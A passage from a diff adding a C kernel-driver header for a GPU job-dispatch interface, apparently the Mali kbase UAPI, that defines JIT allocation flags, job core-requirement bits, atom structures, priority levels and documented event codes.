BASE_MEM_TILER_ALIGN_TOP, memory starting from the end of the + * initial commit is aligned to 'extension' pages, where 'extension' must be a power + * of 2 and no more than BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES + */ +#define BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP (1 << 0) + +/** + * If set, the heap info address points to a __u32 holding the used size in bytes; + * otherwise it points to a __u64 holding the lowest address of unused memory. + */ +#define BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE (1 << 1) + +/** + * Valid set of just-in-time memory allocation flags + * + * Note: BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE cannot be set if heap_info_gpu_addr + * in %base_jit_alloc_info is 0 (atom with BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE set + * and heap_info_gpu_addr being 0 will be rejected). + */ +#define BASE_JIT_ALLOC_VALID_FLAGS \ + (BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP | BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE) + +/** + * typedef base_context_create_flags - Flags to pass to ::base_context_init. + * + * Flags can be ORed together to enable multiple things. + * + * These share the same space as BASEP_CONTEXT_FLAG_*, and so must + * not collide with them. + */ +typedef __u32 base_context_create_flags; + +/* No flags set */ +#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0) + +/* Base context is embedded in a cctx object (flag used for CINSTR + * software counter macros) + */ +#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0) + +/* Base context is a 'System Monitor' context for Hardware counters. + * + * One important side effect of this is that job submission is disabled. + */ +#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED \ + ((base_context_create_flags)1 << 1) + +/* Bit-shift used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3) + +/* Bitmask used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \ + ((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT) + +/* Bitpattern describing the base_context_create_flags that can be + * passed to the kernel + */ +#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \ + (BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | \ + BASEP_CONTEXT_MMU_GROUP_ID_MASK) + +/* Bitpattern describing the ::base_context_create_flags that can be + * passed to base_context_init() + */ +#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \ + (BASE_CONTEXT_CCTX_EMBEDDED | BASEP_CONTEXT_CREATE_KERNEL_FLAGS) + +/* + * Private flags used on the base context + * + * These start at bit 31, and run down to zero. + * + * They share the same space as base_context_create_flags, and so must + * not collide with them. + */ + +/* Private flag tracking whether job descriptor dumping is disabled */ +#define BASEP_CONTEXT_FLAG_JOB_DUMP_DISABLED \ + ((base_context_create_flags)(1 << 31)) + +/* Enable additional tracepoints for latency measurements (TL_ATOM_READY, + * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST) + */ +#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0) + +/* Indicate that job dumping is enabled. This could affect certain timers + * to account for the performance impact. + */ +#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1) + +#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \ + BASE_TLSTREAM_JOB_DUMPING_ENABLED) +/* + * Dependency stuff, keep it private for now. May want to expose it if + * we decide to make the number of semaphores a configurable + * option. + */ +#define BASE_JD_ATOM_COUNT 256 + +/* Maximum number of concurrent render passes. + */ +#define BASE_JD_RP_COUNT (256) + +/* Set/reset values for a software event */ +#define BASE_JD_SOFT_EVENT_SET ((unsigned char)1) +#define BASE_JD_SOFT_EVENT_RESET ((unsigned char)0) + +/** + * struct base_jd_udata - Per-job data + * + * This structure is used to store per-job data, and is completely unused + * by the Base driver. It can be used to store things such as callback + * function pointer, data to handle job completion. It is guaranteed to be + * untouched by the Base driver. + * + * @blob: per-job data array + */ +struct base_jd_udata { + __u64 blob[2]; +}; + +/** + * typedef base_jd_dep_type - Job dependency type. + * + * A flags field will be inserted into the atom structure to specify whether a + * dependency is a data or ordering dependency (by putting it before/after + * 'core_req' in the structure it should be possible to add without changing + * the structure size). + * When the flag is set for a particular dependency to signal that it is an + * ordering only dependency then errors will not be propagated. + */ +typedef __u8 base_jd_dep_type; + +#define BASE_JD_DEP_TYPE_INVALID (0) /**< Invalid dependency */ +#define BASE_JD_DEP_TYPE_DATA (1U << 0) /**< Data dependency */ +#define BASE_JD_DEP_TYPE_ORDER (1U << 1) /**< Order dependency */ + +/** + * typedef base_jd_core_req - Job chain hardware requirements. + * + * A job chain must specify what GPU features it needs to allow the + * driver to schedule the job correctly. By not specifying the + * correct settings can/will cause an early job termination. Multiple + * values can be ORed together to specify multiple requirements. + * Special case is ::BASE_JD_REQ_DEP, which is used to express complex + * dependencies, and that doesn't execute anything on the hardware. + */ +typedef __u32 base_jd_core_req; + +/* Requirements that come from the HW */ + +/* No requirement, dependency only + */ +#define BASE_JD_REQ_DEP ((base_jd_core_req)0) + +/* Requires fragment shaders + */ +#define BASE_JD_REQ_FS ((base_jd_core_req)1 << 0) + +/* Requires compute shaders + * + * This covers any of the following GPU job types: + * - Vertex Shader Job + * - Geometry Shader Job + * - An actual Compute Shader Job + * + * Compare this with BASE_JD_REQ_ONLY_COMPUTE, which specifies that the + * job is specifically just the "Compute Shader" job type, and not the "Vertex + * Shader" nor the "Geometry Shader" job type. + */ +#define BASE_JD_REQ_CS ((base_jd_core_req)1 << 1) + +/* Requires tiling */ +#define BASE_JD_REQ_T ((base_jd_core_req)1 << 2) + +/* Requires cache flushes */ +#define BASE_JD_REQ_CF ((base_jd_core_req)1 << 3) + +/* Requires value writeback */ +#define BASE_JD_REQ_V ((base_jd_core_req)1 << 4) + +/* SW-only requirements - the HW does not expose these as part of the job slot + * capabilities + */ + +/* Requires fragment job with AFBC encoding */ +#define BASE_JD_REQ_FS_AFBC ((base_jd_core_req)1 << 13) + +/* SW-only requirement: coalesce completion events. + * If this bit is set then completion of this atom will not cause an event to + * be sent to userspace, whether successful or not; completion events will be + * deferred until an atom completes which does not have this bit set. + * + * This bit may not be used in combination with BASE_JD_REQ_EXTERNAL_RESOURCES. + */ +#define BASE_JD_REQ_EVENT_COALESCE ((base_jd_core_req)1 << 5) + +/* SW Only requirement: the job chain requires a coherent core group. We don't + * mind which coherent core group is used. + */ +#define BASE_JD_REQ_COHERENT_GROUP ((base_jd_core_req)1 << 6) + +/* SW Only requirement: The performance counters should be enabled only when + * they are needed, to reduce power consumption. + */ +#define BASE_JD_REQ_PERMON ((base_jd_core_req)1 << 7) + +/* SW Only requirement: External resources are referenced by this atom. + * + * This bit may not be used in combination with BASE_JD_REQ_EVENT_COALESCE and + * BASE_JD_REQ_SOFT_EVENT_WAIT. + */ +#define BASE_JD_REQ_EXTERNAL_RESOURCES ((base_jd_core_req)1 << 8) + +/* SW Only requirement: Software defined job. Jobs with this bit set will not be + * submitted to the hardware but will cause some action to happen within the + * driver + */ +#define BASE_JD_REQ_SOFT_JOB ((base_jd_core_req)1 << 9) + +#define BASE_JD_REQ_SOFT_DUMP_CPU_GPU_TIME (BASE_JD_REQ_SOFT_JOB | 0x1) +#define BASE_JD_REQ_SOFT_FENCE_TRIGGER (BASE_JD_REQ_SOFT_JOB | 0x2) +#define BASE_JD_REQ_SOFT_FENCE_WAIT (BASE_JD_REQ_SOFT_JOB | 0x3) + +/* 0x4 RESERVED for now */ + +/* SW only requirement: event wait/trigger job. + * + * - BASE_JD_REQ_SOFT_EVENT_WAIT: this job will block until the event is set. + * - BASE_JD_REQ_SOFT_EVENT_SET: this job sets the event, thus unblocks the + * other waiting jobs. It completes immediately. + * - BASE_JD_REQ_SOFT_EVENT_RESET: this job resets the event, making it + * possible for other jobs to wait upon. It completes immediately. + */ +#define BASE_JD_REQ_SOFT_EVENT_WAIT (BASE_JD_REQ_SOFT_JOB | 0x5) +#define BASE_JD_REQ_SOFT_EVENT_SET (BASE_JD_REQ_SOFT_JOB | 0x6) +#define BASE_JD_REQ_SOFT_EVENT_RESET (BASE_JD_REQ_SOFT_JOB | 0x7) + +#define BASE_JD_REQ_SOFT_DEBUG_COPY (BASE_JD_REQ_SOFT_JOB | 0x8) + +/* SW only requirement: Just In Time allocation + * + * This job requests a single or multiple just-in-time allocations through a + * list of base_jit_alloc_info structure which is passed via the jc element of + * the atom. The number of base_jit_alloc_info structures present in the + * list is passed via the nr_extres element of the atom + * + * It should be noted that the id entry in base_jit_alloc_info must not + * be reused until it has been released via BASE_JD_REQ_SOFT_JIT_FREE. + * + * Should this soft job fail it is expected that a BASE_JD_REQ_SOFT_JIT_FREE + * soft job to free the JIT allocation is still made. + * + * The job will complete immediately. + */ +#define BASE_JD_REQ_SOFT_JIT_ALLOC (BASE_JD_REQ_SOFT_JOB | 0x9) + +/* SW only requirement: Just In Time free + * + * This job requests a single or multiple just-in-time allocations created by + * BASE_JD_REQ_SOFT_JIT_ALLOC to be freed. The ID list of the just-in-time + * allocations is passed via the jc element of the atom. + * + * The job will complete immediately. + */ +#define BASE_JD_REQ_SOFT_JIT_FREE (BASE_JD_REQ_SOFT_JOB | 0xa) + +/* SW only requirement: Map external resource + * + * This job requests external resource(s) are mapped once the dependencies + * of the job have been satisfied. The list of external resources are + * passed via the jc element of the atom which is a pointer to a + * base_external_resource_list. + */ +#define BASE_JD_REQ_SOFT_EXT_RES_MAP (BASE_JD_REQ_SOFT_JOB | 0xb) + +/* SW only requirement: Unmap external resource + * + * This job requests external resource(s) are unmapped once the dependencies + * of the job has been satisfied. The list of external resources are + * passed via the jc element of the atom which is a pointer to a + * base_external_resource_list. + */ +#define BASE_JD_REQ_SOFT_EXT_RES_UNMAP (BASE_JD_REQ_SOFT_JOB | 0xc) + +/* HW Requirement: Requires Compute shaders (but not Vertex or Geometry Shaders) + * + * This indicates that the Job Chain contains GPU jobs of the 'Compute + * Shaders' type. + * + * In contrast to BASE_JD_REQ_CS, this does not indicate that the Job + * Chain contains 'Geometry Shader' or 'Vertex Shader' jobs. + */ +#define BASE_JD_REQ_ONLY_COMPUTE ((base_jd_core_req)1 << 10) + +/* HW Requirement: Use the base_jd_atom::device_nr field to specify a + * particular core group + * + * If both BASE_JD_REQ_COHERENT_GROUP and this flag are set, this flag + * takes priority + * + * This is only guaranteed to work for BASE_JD_REQ_ONLY_COMPUTE atoms. + * + * If the core availability policy is keeping the required core group turned + * off, then the job will fail with a BASE_JD_EVENT_PM_EVENT error code. + */ +#define BASE_JD_REQ_SPECIFIC_COHERENT_GROUP ((base_jd_core_req)1 << 11) + +/* SW Flag: If this bit is set then the successful completion of this atom + * will not cause an event to be sent to userspace + */ +#define BASE_JD_REQ_EVENT_ONLY_ON_FAILURE ((base_jd_core_req)1 << 12) + +/* SW Flag: If this bit is set then completion of this atom will not cause an + * event to be sent to userspace, whether successful or not. + */ +#define BASEP_JD_REQ_EVENT_NEVER ((base_jd_core_req)1 << 14) + +/* SW Flag: Skip GPU cache clean and invalidation before starting a GPU job. + * + * If this bit is set then the GPU's cache will not be cleaned and invalidated + * until a GPU job starts which does not have this bit set or a job completes + * which does not have the BASE_JD_REQ_SKIP_CACHE_END bit set. Do not use + * if the CPU may have written to memory addressed by the job since the last job + * without this bit set was submitted. + */ +#define BASE_JD_REQ_SKIP_CACHE_START ((base_jd_core_req)1 << 15) + +/* SW Flag: Skip GPU cache clean and invalidation after a GPU job completes. + * + * If this bit is set then the GPU's cache will not be cleaned and invalidated + * until a GPU job completes which does not have this bit set or a job starts + * which does not have the BASE_JD_REQ_SKIP_CACHE_START bit set. Do not use + * if the CPU may read from or partially overwrite memory addressed by the job + * before the next job without this bit set completes. + */ +#define BASE_JD_REQ_SKIP_CACHE_END ((base_jd_core_req)1 << 16) + +/* Request the atom be executed on a specific job slot. + * + * When this flag is specified, it takes precedence over any existing job slot + * selection logic. + */ +#define BASE_JD_REQ_JOB_SLOT ((base_jd_core_req)1 << 17) + +/* SW-only requirement: The atom is the start of a renderpass. + * + * If this bit is set then the job chain will be soft-stopped if it causes the + * GPU to write beyond the end of the physical pages backing the tiler heap, and + * committing more memory to the heap would exceed an internal threshold. It may + * be resumed after running one of the job chains attached to an atom with + * BASE_JD_REQ_END_RENDERPASS set and the same renderpass ID. It may be + * resumed multiple times until it completes without memory usage exceeding the + * threshold. + * + * Usually used with BASE_JD_REQ_T. + */ +#define BASE_JD_REQ_START_RENDERPASS ((base_jd_core_req)1 << 18) + +/* SW-only requirement: The atom is the end of a renderpass. + * + * If this bit is set then the atom incorporates the CPU address of a + * base_jd_fragment object instead of the GPU address of a job chain. + * + * Which job chain is run depends upon whether the atom with the same renderpass + * ID and the BASE_JD_REQ_START_RENDERPASS bit set completed normally or + * was soft-stopped when it exceeded an upper threshold for tiler heap memory + * usage. + * + * It also depends upon whether one of the job chains attached to the atom has + * already been run as part of the same renderpass (in which case it would have + * written unresolved multisampled and otherwise-discarded output to temporary + * buffers that need to be read back). The job chain for doing a forced read and + * forced write (from/to temporary buffers) is run as many times as necessary. + * + * Usually used with BASE_JD_REQ_FS. + */ +#define BASE_JD_REQ_END_RENDERPASS ((base_jd_core_req)1 << 19) + +/* SW-only requirement: The atom needs to run on a limited core mask affinity. + * + * If this bit is set then the kbase_context.limited_core_mask will be applied + * to the affinity. + */ +#define BASE_JD_REQ_LIMITED_CORE_MASK ((base_jd_core_req)1 << 20) + +/* These requirement bits are currently unused in base_jd_core_req + */ +#define BASEP_JD_REQ_RESERVED \ + (~(BASE_JD_REQ_ATOM_TYPE | BASE_JD_REQ_EXTERNAL_RESOURCES | \ + BASE_JD_REQ_EVENT_ONLY_ON_FAILURE | BASEP_JD_REQ_EVENT_NEVER | \ + BASE_JD_REQ_EVENT_COALESCE | \ + BASE_JD_REQ_COHERENT_GROUP | BASE_JD_REQ_SPECIFIC_COHERENT_GROUP | \ + BASE_JD_REQ_FS_AFBC | BASE_JD_REQ_PERMON | \ + BASE_JD_REQ_SKIP_CACHE_START | BASE_JD_REQ_SKIP_CACHE_END | \ + BASE_JD_REQ_JOB_SLOT | BASE_JD_REQ_START_RENDERPASS | \ + BASE_JD_REQ_END_RENDERPASS | BASE_JD_REQ_LIMITED_CORE_MASK)) + +/* Mask of all bits in base_jd_core_req that control the type of the atom. + * + * This allows dependency only atoms to have flags set + */ +#define BASE_JD_REQ_ATOM_TYPE \ + (BASE_JD_REQ_FS | BASE_JD_REQ_CS | BASE_JD_REQ_T | BASE_JD_REQ_CF | \ + BASE_JD_REQ_V | BASE_JD_REQ_SOFT_JOB | BASE_JD_REQ_ONLY_COMPUTE) + +/** + * Mask of all bits in base_jd_core_req that control the type of a soft job. + */ +#define BASE_JD_REQ_SOFT_JOB_TYPE (BASE_JD_REQ_SOFT_JOB | 0x1f) + +/* Returns non-zero value if core requirements passed define a soft job or + * a dependency only job. + */ +#define BASE_JD_REQ_SOFT_JOB_OR_DEP(core_req) \ + (((core_req) & BASE_JD_REQ_SOFT_JOB) || \ + ((core_req) & BASE_JD_REQ_ATOM_TYPE) == BASE_JD_REQ_DEP) + +/** + * enum kbase_jd_atom_state + * + * @KBASE_JD_ATOM_STATE_UNUSED: Atom is not used. + * @KBASE_JD_ATOM_STATE_QUEUED: Atom is queued in JD. + * @KBASE_JD_ATOM_STATE_IN_JS: Atom has been given to JS (is runnable/running). + * @KBASE_JD_ATOM_STATE_HW_COMPLETED: Atom has been completed, but not yet + * handed back to job dispatcher for + * dependency resolution. + * @KBASE_JD_ATOM_STATE_COMPLETED: Atom has been completed, but not yet handed + * back to userspace. + */ +enum kbase_jd_atom_state { + KBASE_JD_ATOM_STATE_UNUSED, + KBASE_JD_ATOM_STATE_QUEUED, + KBASE_JD_ATOM_STATE_IN_JS, + KBASE_JD_ATOM_STATE_HW_COMPLETED, + KBASE_JD_ATOM_STATE_COMPLETED +}; + +/** + * typedef base_atom_id - Type big enough to store an atom number in. + */ +typedef __u8 base_atom_id; + +/** + * struct base_dependency - + * + * @atom_id: An atom number + * @dependency_type: Dependency type + */ +struct base_dependency { + base_atom_id atom_id; + base_jd_dep_type dependency_type; +}; + +/** + * struct base_jd_fragment - Set of GPU fragment job chains used for rendering. + * + * @norm_read_norm_write: Job chain for full rendering. + * GPU address of a fragment job chain to render in the + * circumstance where the tiler job chain did not exceed + * its memory usage threshold and no fragment job chain + * was previously run for the same renderpass. + * It is used no more than once per renderpass. + * @norm_read_forced_write: Job chain for starting incremental + * rendering. + * GPU address of a fragment job chain to render in + * the circumstance where the tiler job chain exceeded + * its memory usage threshold for the first time and + * no fragment job chain was previously run for the + * same renderpass. + * Writes unresolved multisampled and normally- + * discarded output to temporary buffers that must be + * read back by a subsequent forced_read job chain + * before the renderpass is complete. + * It is used no more than once per renderpass. + * @forced_read_forced_write: Job chain for continuing incremental + * rendering. + * GPU address of a fragment job chain to render in + * the circumstance where the tiler job chain + * exceeded its memory usage threshold again + * and a fragment job chain was previously run for + * the same renderpass. + * Reads unresolved multisampled and + * normally-discarded output from temporary buffers + * written by a previous forced_write job chain and + * writes the same to temporary buffers again. + * It is used as many times as required until + * rendering completes. + * @forced_read_norm_write: Job chain for ending incremental rendering. + * GPU address of a fragment job chain to render in the + * circumstance where the tiler job chain did not + * exceed its memory usage threshold this time and a + * fragment job chain was previously run for the same + * renderpass. + * Reads unresolved multisampled and normally-discarded + * output from temporary buffers written by a previous + * forced_write job chain in order to complete a + * renderpass. + * It is used no more than once per renderpass. + * + * This structure is referenced by the main atom structure if + * BASE_JD_REQ_END_RENDERPASS is set in the base_jd_core_req. + */ +struct base_jd_fragment { + __u64 norm_read_norm_write; + __u64 norm_read_forced_write; + __u64 forced_read_forced_write; + __u64 forced_read_norm_write; +}; + +/** + * typedef base_jd_prio - Base Atom priority. + * + * Only certain priority levels are actually implemented, as specified by the + * BASE_JD_PRIO_<...> definitions below. It is undefined to use a priority + * level that is not one of those defined below. + * + * Priority levels only affect scheduling after the atoms have had dependencies + * resolved. For example, a low priority atom that has had its dependencies + * resolved might run before a higher priority atom that has not had its + * dependencies resolved. + * + * In general, fragment atoms do not affect non-fragment atoms with + * lower priorities, and vice versa. One exception is that there is only one + * priority value for each context. So a high-priority (e.g.) fragment atom + * could increase its context priority, causing its non-fragment atoms to also + * be scheduled sooner. + * + * The atoms are scheduled as follows with respect to their priorities: + * * Let atoms 'X' and 'Y' be for the same job slot who have dependencies + * resolved, and atom 'X' has a higher priority than atom 'Y' + * * If atom 'Y' is currently running on the HW, then it is interrupted to + * allow atom 'X' to run soon after + * * If instead neither atom 'Y' nor atom 'X' are running, then when choosing + * the next atom to run, atom 'X' will always be chosen instead of atom 'Y' + * * Any two atoms that have the same priority could run in any order with + * respect to each other. That is, there is no ordering constraint between + * atoms of the same priority. + * + * The sysfs file 'js_ctx_scheduling_mode' is used to control how atoms are + * scheduled between contexts. The default value, 0, will cause higher-priority + * atoms to be scheduled first, regardless of their context. The value 1 will + * use a round-robin algorithm when deciding which context's atoms to schedule + * next, so higher-priority atoms can only preempt lower priority atoms within + * the same context. See KBASE_JS_SYSTEM_PRIORITY_MODE and + * KBASE_JS_PROCESS_LOCAL_PRIORITY_MODE for more details. + */ +typedef __u8 base_jd_prio; + +/* Medium atom priority. This is a priority higher than BASE_JD_PRIO_LOW */ +#define BASE_JD_PRIO_MEDIUM ((base_jd_prio)0) +/* High atom priority. This is a priority higher than BASE_JD_PRIO_MEDIUM and + * BASE_JD_PRIO_LOW + */ +#define BASE_JD_PRIO_HIGH ((base_jd_prio)1) +/* Low atom priority. */ +#define BASE_JD_PRIO_LOW ((base_jd_prio)2) +/* Real-Time atom priority. This is a priority higher than BASE_JD_PRIO_HIGH, + * BASE_JD_PRIO_MEDIUM, and BASE_JD_PRIO_LOW + */ +#define BASE_JD_PRIO_REALTIME ((base_jd_prio)3) + +/* Count of the number of priority levels. This itself is not a valid + * base_jd_prio setting + */ +#define BASE_JD_NR_PRIO_LEVELS 4 + +/** + * struct base_jd_atom_v2 - Node of a dependency graph used to submit a + * GPU job chain or soft-job to the kernel driver. + * + * @jc: GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS + * is set in the base_jd_core_req) the CPU address of a + * base_jd_fragment object. + * @udata: User data. + * @extres_list: List of external resources. + * @nr_extres: Number of external resources or JIT allocations. + * @jit_id: Zero-terminated array of IDs of just-in-time memory + * allocations written to by the atom. When the atom + * completes, the value stored at the + * &struct_base_jit_alloc_info.heap_info_gpu_addr of + * each allocation is read in order to enforce an + * overall physical memory usage limit. + * @pre_dep: Pre-dependencies. One need to use SETTER function to assign + * this field; this is done in order to reduce possibility of + * improper assignment of a dependency field. + * @atom_number: Unique number to identify the atom. + * @prio: Atom priority. Refer to base_jd_prio for more details. + * @device_nr: Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP + * specified. + * @jobslot: Job slot to use when BASE_JD_REQ_JOB_SLOT is specified. + * @core_req: Core requirements. + * @renderpass_id: Renderpass identifier used to associate an atom that has + * BASE_JD_REQ_START_RENDERPASS set in its core requirements + * with an atom that has BASE_JD_REQ_END_RENDERPASS set. + * @padding: Unused. Must be zero. + * + * This structure has changed since UK 10.2 for which base_jd_core_req was a + * __u16 value. + * + * In UK 10.3 a core_req field of a __u32 type was added to the end of the + * structure, and the place in the structure previously occupied by __u16 + * core_req was kept but renamed to compat_core_req. + * + * From UK 11.20 - compat_core_req is now occupied by __u8 jit_id[2]. + * Compatibility with UK 10.x from UK 11.y is not handled because + * the major version increase prevents this. + * + * For UK 11.20 jit_id[2] must be initialized to zero. + */ +struct base_jd_atom_v2 { + __u64 jc; + struct base_jd_udata udata; + __u64 extres_list; + __u16 nr_extres; + __u8 jit_id[2]; + struct base_dependency pre_dep[2]; + base_atom_id atom_number; + base_jd_prio prio; + __u8 device_nr; + __u8 jobslot; + base_jd_core_req core_req; + __u8 renderpass_id; + __u8 padding[7]; +}; + +/** + * struct base_jd_atom - Same as base_jd_atom_v2, but has an extra seq_nr + * at the beginning. + * + * @seq_nr: Sequence number of logical grouping of atoms. + * @jc: GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS + * is set in the base_jd_core_req) the CPU address of a + * base_jd_fragment object. + * @udata: User data. + * @extres_list: List of external resources. + * @nr_extres: Number of external resources or JIT allocations. + * @jit_id: Zero-terminated array of IDs of just-in-time memory + * allocations written to by the atom. When the atom + * completes, the value stored at the + * &struct_base_jit_alloc_info.heap_info_gpu_addr of + * each allocation is read in order to enforce an + * overall physical memory usage limit. + * @pre_dep: Pre-dependencies. One need to use SETTER function to assign + * this field; this is done in order to reduce possibility of + * improper assignment of a dependency field. + * @atom_number: Unique number to identify the atom. + * @prio: Atom priority. Refer to base_jd_prio for more details. + * @device_nr: Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP + * specified. + * @jobslot: Job slot to use when BASE_JD_REQ_JOB_SLOT is specified. + * @core_req: Core requirements. + * @renderpass_id: Renderpass identifier used to associate an atom that has + * BASE_JD_REQ_START_RENDERPASS set in its core requirements + * with an atom that has BASE_JD_REQ_END_RENDERPASS set. + * @padding: Unused. Must be zero. + */ +typedef struct base_jd_atom { + __u64 seq_nr; + __u64 jc; + struct base_jd_udata udata; + __u64 extres_list; + __u16 nr_extres; + __u8 jit_id[2]; + struct base_dependency pre_dep[2]; + base_atom_id atom_number; + base_jd_prio prio; + __u8 device_nr; + __u8 jobslot; + base_jd_core_req core_req; + __u8 renderpass_id; + __u8 padding[7]; +} base_jd_atom; + +/* Job chain event code bits + * Defines the bits used to create ::base_jd_event_code + */ +enum { + BASE_JD_SW_EVENT_KERNEL = (1u << 15), /* Kernel side event */ + BASE_JD_SW_EVENT = (1u << 14), /* SW defined event */ + /* Event indicates success (SW events only) */ + BASE_JD_SW_EVENT_SUCCESS = (1u << 13), + BASE_JD_SW_EVENT_JOB = (0u << 11), /* Job related event */ + BASE_JD_SW_EVENT_BAG = (1u << 11), /* Bag related event */ + BASE_JD_SW_EVENT_INFO = (2u << 11), /* Misc/info event */ + BASE_JD_SW_EVENT_RESERVED = (3u << 11), /* Reserved event type */ + /* Mask to extract the type from an event code */ + BASE_JD_SW_EVENT_TYPE_MASK = (3u << 11) +}; + +/** + * enum base_jd_event_code - Job chain event codes + * + * @BASE_JD_EVENT_RANGE_HW_NONFAULT_START: Start of hardware non-fault status + * codes. + * Obscurely, BASE_JD_EVENT_TERMINATED + * indicates a real fault, because the + * job was hard-stopped. + * @BASE_JD_EVENT_NOT_STARTED: Can't be seen by userspace, treated as + * 'previous job done'. + * @BASE_JD_EVENT_STOPPED: Can't be seen by userspace, becomes + * TERMINATED, DONE or JOB_CANCELLED. + * @BASE_JD_EVENT_TERMINATED: This is actually a fault status code - the job + * was hard stopped. + * @BASE_JD_EVENT_ACTIVE: Can't be seen by userspace, jobs only returned on + * complete/fail/cancel. + * @BASE_JD_EVENT_RANGE_HW_NONFAULT_END: End of hardware non-fault status codes. + * Obscurely, BASE_JD_EVENT_TERMINATED + * indicates a real fault, + * because the job was hard-stopped. + * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START: Start of hardware fault and + * software error status codes. + * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END: End of hardware fault and + * software error status codes. + * @BASE_JD_EVENT_RANGE_SW_SUCCESS_START: Start of software success status + * codes. + * @BASE_JD_EVENT_RANGE_SW_SUCCESS_END: End of software success status codes. + * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_START: Start of kernel-only status codes. + * Such codes are never returned to + * user-space. + * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_END: End of kernel-only status codes. + * @BASE_JD_EVENT_DONE: atom has completed successfull + * @BASE_JD_EVENT_JOB_CONFIG_FAULT: Atom dependencies configuration error which + * shall result in a failed atom + * @BASE_JD_EVENT_JOB_POWER_FAULT: The job could not be executed because the + * part of the memory system required to access + * job descriptors was not powered on + * @BASE_JD_EVENT_JOB_READ_FAULT: Reading a job descriptor into the Job + * manager failed + * @BASE_JD_EVENT_JOB_WRITE_FAULT: Writing a job descriptor from the Job + * manager failed + * @BASE_JD_EVENT_JOB_AFFINITY_FAULT: The job could not be executed because the + * specified affinity mask does not intersect + * any available cores + * @BASE_JD_EVENT_JOB_BUS_FAULT: A bus access failed while executing a job + * @BASE_JD_EVENT_INSTR_INVALID_PC: A shader instruction with an illegal program + * counter was executed. + * @BASE_JD_EVENT_INSTR_INVALID_ENC: A shader instruction with an illegal + * encoding was executed. + * @BASE_JD_EVENT_INSTR_TYPE_MISMATCH: A shader instruction was executed where + * the instruction encoding did not match the + * instruction type encoded in the program + * counter. + * @BASE_JD_EVENT_INSTR_OPERAND_FAULT: A shader instruction was executed that + * contained invalid combinations of operands. + * @BASE_JD_EVENT_INSTR_TLS_FAULT: A shader instruction was executed that tried + * to access the thread local storage section + * of another thread. + * @BASE_JD_EVENT_INSTR_ALIGN_FAULT: A shader instruction was executed that + * tried to do an unsupported unaligned memory + * access. + * @BASE_JD_EVENT_INSTR_BARRIER_FAULT: A shader instruction was executed that + * failed to complete an instruction barrier. + * @BASE_JD_EVENT_DATA_INVALID_FAULT: Any data structure read as part of the job + * contains invalid combinations of data. + * @BASE_JD_EVENT_TILE_RANGE_FAULT: Tile or fragment shading was asked to + * process a tile that is entirely outside the + * bounding box of the frame. + * @BASE_JD_EVENT_STATE_FAULT: Matches ADDR_RANGE_FAULT. A virtual address + * has been found that exceeds the virtual + * address range. + * @BASE_JD_EVENT_OUT_OF_MEMORY: The tiler ran out of memory when executing a job. + * @BASE_JD_EVENT_UNKNOWN: If multiple jobs in a job chain fail, only + * the first one the reports an error will set + * and return full error information. + * Subsequent failing jobs will not update the + * error status registers, and may write an + * error status of UNKNOWN. + * @BASE_JD_EVENT_DELAYED_BUS_FAULT: The GPU received a bus fault for access to + * physical memory where the original virtual + * address is no longer available. + * @BASE_JD_EVENT_SHAREABILITY_FAULT: Matches GPU_SHAREABILITY_FAULT. A cache + * has detected that the same line has been + * accessed as both shareable and non-shareable + * memory from inside the GPU. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1: A memory access hit an invalid table + * entry at level 1 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2: A memory access hit an invalid table + * entry at level 2 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3: A memory access hit an invalid table + * entry at level 3 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4: A memory access hit an invalid table + * entry at level 4 of the translation table. + * @BASE_JD_EVENT_PERMISSION_FAULT: A memory access could not be allowed due to + * the permission flags set in translation + * table + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1: A bus fault occurred while reading + * level 0 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2: A bus fault occurred while reading + * level 1 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3: A bus fault occurred while reading + * level 2 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4: A bus fault occurred while reading + * level 3 of the translation tables. + * @BASE_JD_EVENT_ACCESS_FLAG: Matches ACCESS_FLAG_0. A memory access hit a + * translation table entry with the ACCESS_FLAG + * bit set to zero in level 0 of the + * page table, and the DISABLE_AF_FAULT flag + * was not set. + * @BASE_JD_EVENT_MEM_GROWTH_FAILED: raised for JIT_ALLOC atoms that failed to + * grow memory on demand + * @BASE_JD_EVENT_JOB_CANCELLED: raised when this atom was hard-stopped or its + * dependencies failed + * 